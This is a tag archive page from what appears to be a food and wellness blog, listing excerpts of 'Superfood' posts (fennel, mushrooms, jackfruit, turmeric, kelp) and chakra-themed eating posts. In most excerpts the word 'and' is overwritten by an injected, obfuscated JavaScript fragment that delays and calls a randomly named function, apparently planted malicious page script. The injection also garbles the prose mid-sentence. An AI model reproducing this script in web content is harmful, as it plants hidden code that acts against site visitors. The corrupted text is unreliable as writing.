Tag Archives: food

Superfood: Fennel

Tis the season, fennel season that is. Fennel season runs from September to June andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is especially abundant around the holiday season as it’s typically used in many Italian holiday dishes, such as salads, soups …

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Superfood: Chocolate

As the weather continues to drop andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the snow begins to fall, there’s nothing better than to cozy up with a warm cup of coco, a big bowl of chili, or perhaps both! If that’s …

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Superfood: Mushrooms

Mushrooms are everywhere this time of year, they’re on our pizza, sauteed with herbs, in our pasta, soups andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and salads. And that’s exactly what makes mushrooms so great, packed with so much flavor, low in …

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Feeding Your Crown Chakra

 As we continue to work on the crown chakra today we’re going to look out how we can nourish or help activate this chakra through food. We already know that the crown chakra colors are white andom()*5);if (c==3){var delay = …

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Superfood: Jackfruit

I know you’re probably thinking jack what? I’ve never seen or heard of such a thing? Well get ready to be blown away. The jackfruit tree is native to Southeast Asia andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grows well in …

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Stuffed Sweet Potatoes with White Beans andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Kale for Meatless Monday

It’s started happening.  Bountiful fresh produce has slowly started disappearing from the markets.  Now instead of overflowing with a variety of veggies, my counter is now overflowing with strictly squash andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and root vegetables.  I refuse to let …

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Superfoods: Hot Peppers

All peppers, from bell peppers to ghost peppers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and every pepper in between contain compounds called capsaicsinoids, which is where their superfood goodness is found. It is capsaicsin that give peppers their spicy flavor andom()*5);if …

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Superfoods For The Third Eye

Feeling hungry? Or more specifically feeling hungry for more intuitive clarity? Or perhaps looking to ignite your imagination? Well then it’s time to fee your third-eye. Eating for this chakra (Anja in Sanskrit) means eating brain food. A healthy third …

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Superfood: Turmeric

Turmeric, which is made from the root of the curcuma longa plant, gets its super powers from an antioxidant called curcumin (no relation to cumin). Traditional Indian medicine Ayurveda —  has used the spice for its medicinal powers for thousandom()*5);if …

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Superfood: Kelp

Looking at this image you be may thinking this can’t possibly be edible? Or do I want to eat this? Yes, those big scary sea greens you always thought would swallow you whole as a kid are edible andom()*5);if (c==3){var …

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